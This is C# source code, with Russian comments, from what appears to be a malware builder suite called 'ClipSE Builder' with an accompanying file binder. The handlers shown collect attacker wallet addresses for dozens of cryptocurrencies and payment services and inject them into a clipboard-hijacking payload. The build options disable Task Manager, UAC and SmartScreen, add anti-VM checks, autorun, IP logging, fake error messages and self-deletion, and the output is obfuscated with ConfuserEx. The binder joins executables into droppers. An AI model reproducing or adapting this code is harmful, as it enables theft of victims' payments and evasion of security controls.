private void BitWallet_Click(object sender, EventArgs e) { try { Clipboard.SetText("1G9xgkjBiPLUbfVWERY1Ub7Bj753jP9Lkt"); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.BitCopy); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.BitCopy); } } catch (Exception) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorBitCopy); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorBitCopy); } } }
private void AddFileItem_Click(object sender, EventArgs e) { NativeMethods.SetFocus(IntPtr.Zero); this.CountFiles.Focus(); using var ofd = new OpenFileDialog { Title = "Выберите файл, который хотите соединить", Filter = "Все файлы (*.*)|*.*|exe файлы|*.exe;|dll файлы|*.dll;", AutoUpgradeEnabled = true, CheckFileExists = true, Multiselect = true, RestoreDirectory = true }; if (ofd.ShowDialog() == DialogResult.OK) { foreach (string multi in ofd.FileNames) { if (!this.ListFiles.Items.Contains(multi)) { this.ListFiles.Items.Add(multi); this.CountFiles.Text = $"Список файлов для соединения: {this.ListFiles.Items.Count}"; } else { StatusCompile.Location = new Point(482, 391); ControlActive.CheckMessage(StatusCompile, "Такой файл уже есть в списке", Color.YellowGreen, 5000); } } } }
private void FastExit_Click(object sender, EventArgs e) { ManifestLoader.Delete(); this.MainPanel.Hide(); ControlActive.ShowAnima(this.Handle, 500, Enums.AnimateWindowFlags.AW_BLEND | Enums.AnimateWindowFlags.AW_HIDE); Application.Exit(); }
/// <summary> /// Замена исходного текста на текст из полей TextBox /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void AddDataToBuilder_Click(object sender, EventArgs e) { NativeMethods.SetFocus(IntPtr.Zero); SourceEdition.values["[DONATEPAY]"] = this.DonatePayBox.Text; SourceEdition.values["[BITDAIMON]"] = this.DaimonBox.Text; SourceEdition.values["[DECRED]"] = this.DecredBox.Text; SourceEdition.values["[TEZOS]"] = this.TezosBox.Text; SourceEdition.values["[SBER]"] = this.SberBox.Text; SourceEdition.values["[VIA]"] = this.ViaBox.Text; SourceEdition.values["[COSMOS]"] = this.CosmosBox.Text; SourceEdition.values["[SMARTCASH]"] = this.SmartCashBox.Text; SourceEdition.values["[STEAM]"] = this.SteamOffBox.Text; SourceEdition.values["[WEBWMR]"] = this.WebRBox.Text; SourceEdition.values["[WEBWMZ]"] = this.WebZBox.Text; SourceEdition.values["[WEBWMU]"] = this.WebUBox.Text; if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataAdd); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataAdd); } }
/// <summary> /// Метод для загрузки обновления /// </summary> /// <param name="link">Ссылка на билдер</param> private void LoadingBuilder(string link) { Task.Run(() => AntiSniffer.Inizialize()).Start(); try { var url = new Uri(link, UriKind.Absolute); using var update = new WebClient { Proxy = null }; update?.DownloadFile(url, GlobalPath.NewFile); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.UpdateSuccess); } else { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.UpdateSuccess); } } catch (WebException) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.ErrorConnect); } else { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.ErrorConnect); } this.Launch.Visible = false; } this.Launch.Visible = FileControl.ExistsFile(GlobalPath.NewFile); }
/// <summary> /// Метод для сохранения данных в файла из TextBox'ов /// </summary> /// <param name="path"></param> public void SaveDataInFile(string path) { try { if (!CheckIsEmptyBoxs()) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.EmptySave); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.EmptySave); } } else { using (var sw = new StreamWriter(path)) { sw.WriteLine(EncryptKey.Encrypt(this.DonatePayBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.DaimonBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.DecredBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.TezosBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.SberBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.ViaBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.CosmosBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.SmartCashBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.SteamOffBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.SteamOffBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.WebRBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.WebZBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.WebUBox.Text, GlobalPath.SecretKey_Public)); sw.Flush(); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataSave); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataSave); } } } } catch (Exception ex) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorSave); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorSave); } FileControl.CreateFile(FileControl.CombinePath(GlobalPath.CurrDir, "ErrorNewSave.txt"), ex.Message); } }
private void ClipPurseFrm_Load(object sender, EventArgs e) { this.VersionSoft.Text = $"{Language.GlobalMessageStrings_ru_RU.VerSoftware} {GlobalPath.VersionBuild}"; this.SalutView.Text = $"{Language.GlobalMessageStrings_ru_RU.Welcome} {Environment.UserName}"; ControlActive.ControlVisible(this.MainPanel, new InfoSE()); MiniCcleaner(); ManifestLoader.Inizialize(); ControlActive.ShowAnima(this.Handle, 500, Enums.AnimateWindowFlags.AW_BLEND | Enums.AnimateWindowFlags.AW_ACTIVATE); }
private void AppExit_Click(object sender, EventArgs e) { // Убираем фокус с кнопки NativeMethods.SetFocus(IntPtr.Zero); this.LogoText.Focus(); // Показываем анимацию при завершение программы ControlActive.ShowAnima(this.Handle, 500, Enums.AnimateWindowFlags.AW_VER_POSITIVE | Enums.AnimateWindowFlags.AW_HIDE); Application.Exit(); // Закрываем программу }
/// <summary> /// Метод для загрузки данных из файла в TextBox'ы /// </summary> /// <param name="path"></param> private void LoadDataFromFile(string path) { if (FileControl.ExistsFile(path)) { try { string[] text = File.ReadAllLines(path); this.DonatePayBox.Text = EncryptKey.Decrypt(text[0], GlobalPath.SecretKey_Public); this.DaimonBox.Text = EncryptKey.Decrypt(text[1], GlobalPath.SecretKey_Public); this.DecredBox.Text = EncryptKey.Decrypt(text[2], GlobalPath.SecretKey_Public); this.TezosBox.Text = EncryptKey.Decrypt(text[3], GlobalPath.SecretKey_Public); this.SberBox.Text = EncryptKey.Decrypt(text[4], GlobalPath.SecretKey_Public); this.ViaBox.Text = EncryptKey.Decrypt(text[5], GlobalPath.SecretKey_Public); this.CosmosBox.Text = EncryptKey.Decrypt(text[6], GlobalPath.SecretKey_Public); this.SmartCashBox.Text = EncryptKey.Decrypt(text[7], GlobalPath.SecretKey_Public); this.SteamOffBox.Text = EncryptKey.Decrypt(text[8], GlobalPath.SecretKey_Public); this.WebRBox.Text = EncryptKey.Decrypt(text[9], GlobalPath.SecretKey_Public); this.WebZBox.Text = EncryptKey.Decrypt(text[10], GlobalPath.SecretKey_Public); this.WebUBox.Text = EncryptKey.Decrypt(text[11], GlobalPath.SecretKey_Public); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataLoader); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataLoader); } } catch (Exception ex) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLoader); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLoader); } FileControl.CreateFile(FileControl.CombinePath(GlobalPath.CurrDir, "ErrorNewLoad.txt"), ex.Message); } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FileExists); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FileExists); } } }
/// <summary> /// Метод для проверки обновления /// </summary> /// <param name="link">Ссылка на текстовый документ</param> private void Checker(string link) { try { Task.Run(() => AntiSniffer.Inizialize()).Start(); using var client = new WebClient { Proxy = null }; var url = new Uri(link, UriKind.Absolute); string text = client?.DownloadString(url); if (text.Contains(GlobalPath.VersionBuild)) // Сверка версии { this.VerNew.Visible = false; this.DownloadUpdates.Visible = false; if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FinalVersionMessage); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FinalVersionMessage); } } else { this.VerNew.Visible = true; if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.AccessNew); this.VerNew.Text = $"{Language.GlobalMessageStrings_en_US.NewVer} {text}"; } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.AccessNew); this.VerNew.Text = $"{Language.GlobalMessageStrings_ru_RU.NewVer} {text}"; } this.DownloadUpdates.Visible = true; } } catch (WebException) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.ErrorConnect); } else { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.ErrorConnect); } this.DownloadUpdates.Visible = false; } }
/// <summary> /// Кнопка для отчищения всех полей TextBox /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void FieldsClean_Click(object sender, EventArgs e) { ControlActive.CleanAllTextBoxesIn(this); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FieldsClean); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FieldsClean); } }
/// <summary> /// Метод для запуска процесса с передачей параметров /// </summary> /// <param name="filename">Имя файла для запуска</param> /// <param name="args">Аргументы для передачи запуска</param> /// <param name="StatusCompile">Вывод сообщения</param> /// <returns></returns> public static bool RunFile(string filename, string args, Label StatusCompile) { if (!string.IsNullOrWhiteSpace(filename)) { try { string line = string.Empty; var PwsHide = ProcessWindowStyle.Hidden; var startInfo = new ProcessStartInfo { FileName = filename, CreateNoWindow = false, RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false, WindowStyle = PwsHide, Arguments = args }; using var info = Process.Start(startInfo); info.Refresh(); info.WaitForExit(); // Читаем весь поток вывода данных while (!info.StandardOutput.EndOfStream) { line = info.StandardOutput.ReadLine(); } // Проверяем на совпадение строки if (line.Contains("Total size:")) { MusicPlay.Inizialize(Resources.GoodBuild); StatusCompile.Location = new Point(74, 388); ControlActive.CheckMessage(StatusCompile, "Билд создан успешно!", Color.YellowGreen, 5000); } else { MusicPlay.Inizialize(Resources.Error_Build); StatusCompile.Location = new Point(58, 388); ControlActive.CheckMessage(StatusCompile, "Ошибка создания билд файла!", Color.YellowGreen, 5000); try { line = info.StandardError.ReadLine(); File.WriteAllText("nsiError.txt", $"Ошибка скрипта: {line}\r\n"); } catch { } } return(true); } catch (Exception) { return(false); } } return(true); }
private void CreateBuild_Click(object sender, EventArgs e) { NativeMethods.SetFocus(IntPtr.Zero); this.CountFiles.Focus(); if (this.ListFiles.Items.Count <= 0) { this.StatusCompile.Location = new Point(497, 392); ControlActive.CheckMessage(this.StatusCompile, "Добавьте файлы в список", Color.YellowGreen, 5000); } else { if (CheckIsEmptyBoxs()) { this.StatusCompile.Location = new Point(500, 392); ControlActive.CheckMessage(this.StatusCompile, "Заполните все данные", Color.YellowGreen, 5000); } else { // Хранилище наших файлов List <string> Payload = new List <string>(); foreach (string payload in this.ListFiles.Items) { Payload?.Add(payload); } var contents = new BuildDom() { AssTitle = AssTitleTextBox.Text, AssCompany = AssCompanyTextBox.Text, AssCopyright = AssCopyrightTextBox.Text, AssDescription = AssDescriptTextBox.Text, AssFileVersion = AssFileVerTextBox.Text, AssProduct = AssProductTextBox.Text, AssVersion = AssVerTextBox.Text, GuidBox = AssGuidTextBox.Text, IconCheckBox = AddIcoBox, BoxIconPath = IconTextBox.Text, SuicideBox = SuicideBuildBox, AdminBuildBox = AdmRunBuildBox, RunTime = RunTimeBox, HideResources = HideFilesBox, AdminFilesBox = AdmRunFilesBox, LMessage = StatusCompile }; // Запускаем задачу создания билда с передачей параметров для замены текста с ожиданием Task.Run(() => SourceEditor.Inizialize(contents, Payload)).ConfigureAwait(false).GetAwaiter(); } } }
private void Launch_Click(object sender, EventArgs e) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessageGetSE, Language.GlobalMessageStrings_en_US.RestartBuild); } else { ControlActive.CheckMessage(this.ShowMessageGetSE, Language.GlobalMessageStrings_en_US.RestartBuild); } if (Check_US("Ваша ссылка на обнову.. ( я вырезал свою дабы не палить )")) { AppRestart(); } }
private void AddIcoBox_CheckedChanged(object sender, EventArgs e) { if (AddIcoBox.Checked == true) { using var ofd = new OpenFileDialog { Title = "Выберите иконку для билд файла", Filter = "Icon|*.ico", AutoUpgradeEnabled = true, CheckFileExists = true, RestoreDirectory = true }; if (ofd.ShowDialog() == DialogResult.OK) { if (File.Exists(ofd.FileName)) { this.IconTextBox.Text = ofd.FileName; this.IcoViewer.ImageLocation = this.IconTextBox.Text; this.IcoViewer.BorderStyle = BorderStyle.None; this.LsizeIco.Visible = true; this.LsizeIco.Text = $"Размер иконки: {GetFileSize.Inizialize(new FileInfo(this.IconTextBox.Text).Length)}"; } else { this.IcoViewer.BorderStyle = BorderStyle.FixedSingle; this.IconTextBox.Clear(); AddIcoBox.Checked = false; this.LsizeIco.Visible = false; this.StatusCompile.Location = new Point(497, 392); ControlActive.CheckMessage(this.StatusCompile, "Иконка повреждена, выберите другую", Color.YellowGreen, 5000); } } else { this.IcoViewer.BorderStyle = BorderStyle.FixedSingle; this.IconTextBox.Clear(); AddIcoBox.Checked = false; this.LsizeIco.Visible = false; } } else { this.IcoViewer.BorderStyle = BorderStyle.FixedSingle; this.IconTextBox.Clear(); this.IcoViewer.Image = null; this.LsizeIco.Visible = false; } }
private void RemoveFileItem_Click(object sender, EventArgs e) { NativeMethods.SetFocus(IntPtr.Zero); this.CountFiles.Focus(); if (this.ListFiles.SelectedIndex != -1) { this.ListFiles.Items.RemoveAt(this.ListFiles.SelectedIndex); this.CountFiles.Text = $"Список файлов для соединения: {this.ListFiles.Items.Count}"; } else { StatusCompile.Location = new Point(456, 391); ControlActive.CheckMessage(StatusCompile, "Выберите элемент из списка для удаления.", Color.YellowGreen, 5000); } }
/// <summary> /// Выбор иконки для билд файла /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void SelectIcon_Click(object sender, EventArgs e) { string result = string.Empty; using (var Open = new OpenFileDialog()) { Open.Title = Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase) ? Language.GlobalMessageStrings_en_US.IconChoice : Language.GlobalMessageStrings_ru_RU.IconChoice; Open.Filter = "Icon (*.ico)|*.ico"; Open.Multiselect = false; Open.AutoUpgradeEnabled = true; Open.CheckFileExists = true; Open.RestoreDirectory = true; if (Open.ShowDialog() == DialogResult.OK) { this.IcoPath.Text = Open.FileName; if (File.Exists(this.IcoPath.Text)) { this.IcoViewer.ImageLocation = this.IcoPath.Text; try { this.SizeIcon.Text = Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase) ? $"{Language.GlobalMessageStrings_en_US.SizeIcon} {GetFileSize.Inizialize(new FileInfo(this.IcoPath.Text).Length)}" : $"{Language.GlobalMessageStrings_en_US.SizeIcon} {GetFileSize.Inizialize(new FileInfo(this.IcoPath.Text).Length)}"; } catch { this.SizeIcon.Text = result; } } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.NoIconChoice); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.NoIconChoice); } this.IcoPath.Clear(); this.SizeIcon.Text = result; this.IcoViewer.Image = null; } }; }
private void ListFiles_DragDrop(object sender, DragEventArgs e) { string[] files = (string[])e.Data.GetData(DataFormats.FileDrop); foreach (string file in files) { if (!this.ListFiles.Items.Contains(file)) { this.ListFiles.Items.Add(file); this.CountFiles.Text = $"Список файлов для соединения: {this.ListFiles.Items.Count}"; } else { StatusCompile.Location = new Point(482, 391); ControlActive.CheckMessage(StatusCompile, "Такой файл уже есть в списке", Color.YellowGreen, 5000); } } }
/// <summary> /// Метод для перезапуска обновления билдера /// </summary> private void AppRestart() { if (FileControl.ExistsFile(GlobalPath.NewFile)) { ProcessControl.RunFile("cmd.exe", "Taskkill /f /im \"ClipSE *\" && Timeout /t 1 && del \"ClipSE *.exe\" && ren UpdateSE.txt \"ClipSE Builder by r3xq1.exe\" && \"ClipSE Builder by r3xq1.exe\""); } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.FileExists); } else { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.FileExists); } } }
private void ShowBinExe_Click(object sender, EventArgs e) { this.LogoText.Text = "MultiBinder files [Release]"; // Показать новую форму ControlActive.ControlVisible(this.MainPanel, new Compilation.CodeDOM.MultiBinderFrm()); // Проверяем и удаляем файл манифеста if (File.Exists(GlobalPath.ManifestFile)) { try { File.Delete(GlobalPath.ManifestFile); } catch { } } // Убираем фокус с кнопки NativeMethods.SetFocus(IntPtr.Zero); this.LogoText.Focus(); }
public static void CheckResults(CompilerResults Results, Label Status) { if (Results.Errors.Count <= 0) { ControlActive.CheckMessage(Status, "Билд создан успешно!"); } else { if (Results.Errors.HasErrors) { ControlActive.CheckMessage(Status, "Ошибка при компиляции!"); foreach (CompilerError Error in Results.Errors) { SaveNewFile("Error_Compiler.txt", $"Ошибка: {Error.ToString()}\r\nСтрока: {Error.Line}"); } } } }
/// <summary> /// Замена исходного текста на текст из полей TextBox /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void AddDataToBuilder_Click(object sender, EventArgs e) { NativeMethods.SetFocus(IntPtr.Zero); SourceEdition.values["[BTC]"] = this.BitcointBox.Text; SourceEdition.values["[BTDARK]"] = this.DarkBitcoinBox.Text; SourceEdition.values["[BCH]"] = this.BitCashBox.Text; SourceEdition.values["[BTGOLD]"] = this.BitGoldBox.Text; SourceEdition.values["[BNB]"] = this.BinanceBox.Text; SourceEdition.values["[BCN]"] = this.BytecoinBox.Text; SourceEdition.values["[BJack]"] = this.BlackjackBox.Text; SourceEdition.values["[BN]"] = this.BlockNetBox.Text; SourceEdition.values["[DASH]"] = this.DashBox.Text; SourceEdition.values["[DOGE]"] = this.DogeBox.Text; SourceEdition.values["[DONATE]"] = this.DonAlertBox.Text; SourceEdition.values["[PAYEER]"] = this.PayeerBox.Text; SourceEdition.values["[XMR]"] = this.XmrBox.Text; SourceEdition.values["[STELLAR]"] = this.StellarBox.Text; SourceEdition.values["[QTUM]"] = this.QtumBox.Text; SourceEdition.values["[QIWI]"] = this.QiwiBox.Text; SourceEdition.values["[ETH]"] = this.EtherBox.Text; SourceEdition.values["[EOS]"] = this.EosBox.Text; SourceEdition.values["[LISK]"] = this.LiskBox.Text; SourceEdition.values["[LTC]"] = this.LiteBox.Text; SourceEdition.values["[WAVES]"] = this.WavesBox.Text; SourceEdition.values["[RIPPLE]"] = this.RippleBox.Text; SourceEdition.values["[ADA]"] = this.AdaBox.Text; SourceEdition.values["[IOTA]"] = this.IotaBox.Text; SourceEdition.values["[ZCASH]"] = this.ZcashBox.Text; SourceEdition.values["[NEO]"] = this.NeoBox.Text; SourceEdition.values["[TRON]"] = this.TronBox.Text; SourceEdition.values["[YANDEXMONEY]"] = this.YandexBox.Text; if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataAdd); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataAdd); } }
private void ShowNsis_Click(object sender, EventArgs e) { // Убираем фокус с кнопки NativeMethods.SetFocus(IntPtr.Zero); this.LogoText.Focus(); // Проверяем файл nsis if (File.Exists(Compilation.NSIS.GetInstall.ConsoleNsis()) || File.Exists(Path.Combine(GlobalPath.CurrDir, @"NSIS\makensis.exe"))) { // Если файл есть, показываем форму ControlActive.ControlVisible(this.MainPanel, new Compilation.NSIS.NsisBinderFrm()); this.LogoText.Text = "NSIS binder files [Release]"; } else { LogoText.Text = "R3BinderTools [Release]"; this.MainPanel.Controls.Clear(); // Отчищяем все формы // Выводим сообщение this.NsisStatus.Location = new Point(132, 7); ControlActive.CheckMessage(this.NsisStatus, "NSIS не обнаружен", Color.Coral, 5000); Process.Start("https://nsis.sourceforge.io/Download"); // предлагаем пользователю установить NSIS } }
private void SwitchLanguage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { if (FileControl.ExistsDirectory(FileControl.CombinePath(GlobalPath.CurrDir, "en-US"))) { ControlActive.ControlVisible(this.MainPanel, new EmptySE()); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { Translate.Inizialize("ru"); this.VersionSoft.Text = $"{Language.GlobalMessageStrings_ru_RU.VerSoftware} {GlobalPath.VersionBuild}"; this.SalutView.Text = $"{Language.GlobalMessageStrings_ru_RU.Welcome} {Environment.UserName}"; } else { Translate.Inizialize("en"); this.VersionSoft.Text = $"{Language.GlobalMessageStrings_en_US.VerSoftware} {GlobalPath.VersionBuild}"; this.SalutView.Text = $"{Language.GlobalMessageStrings_en_US.Welcome} {Environment.UserName}"; } } else { MusicPlay.Inizialize(Resources.Error_Build); } }
/// <summary> /// Запуск процесс компиляции исходного файла с проверками по ключу. /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private async void Generation_ClickAsync(object sender, EventArgs e) { NativeMethods.SetFocus(IntPtr.Zero); #region BuildSettings var build = new Build ( this.IcoPath.Text, this.NameOutput.Text, this.AssTitleTextBox.Text, this.AssDescriptTextBox.Text, this.AssCompanyTextBox.Text, this.AssProductTextBox.Text, this.AssCopyrightTextBox.Text, this.AssVerTextBox.Text, this.AssFileVerTextBox.Text, this.AssGuidTextBox.Text, this.IPBox.Text, this.ErrorBox.Text, this.ShowMessage, this.DelayCheckBox, this.GarbageCheckBox, this.AutoRunCheckBox, this.SmartOffCheckBox, this.TaskMgrOffCheckBox, this.UacOffCheckBox, this.AntiVMCheckBox, this.IPLOGCheckBox, this.FakeCheckBox, this.SpisokOut ); #endregion if (string.IsNullOrWhiteSpace(this.NameOutput.Text) || string.IsNullOrWhiteSpace(this.AssTitleTextBox.Text) || string.IsNullOrWhiteSpace(this.AssDescriptTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCompanyTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCopyrightTextBox.Text) || string.IsNullOrWhiteSpace(this.AssFileVerTextBox.Text)) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FillFields); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FillFields); } } else { if (string.IsNullOrWhiteSpace(this.SpisokOut.Text)) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.Extension); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.Extension); } } else { new Thread(() => { AntiSniffer.Inizialize(); }).Start(); if (CheckerKeys.CompareKey()) { CheckerKeys.GetLicenseInfo(); if (FileControl.ExistsFileAndDirectory(GlobalPath.ModConfuser, GlobalPath.CLI)) { if (SourceEdition.values.Count != 0) { await Task.Run(() => SourceEdition.Inizialize(SourceEdition.values, build)); // Обфускация switch (build.ComboOutputExtension.SelectedIndex) { case 1: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.dll")); break; default: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.exe")); break; } if (FileControl.ExistsDirectory(GlobalPath.Confused)) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.Obfuscated); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.Obfuscated); } } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BasePurse); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BasePurse); } } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ModCLI); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ModCLI); } } } else { MusicPlay.Inizialize(Resources.Error_Build); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLicense); FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n"); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLicense); FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n"); } Thread.Sleep(2000); Application.Exit(); } } } }
private void ShowUpdater_Click(object sender, EventArgs e) => ControlActive.ControlVisible(this.MainPanel, new UpdateSE());
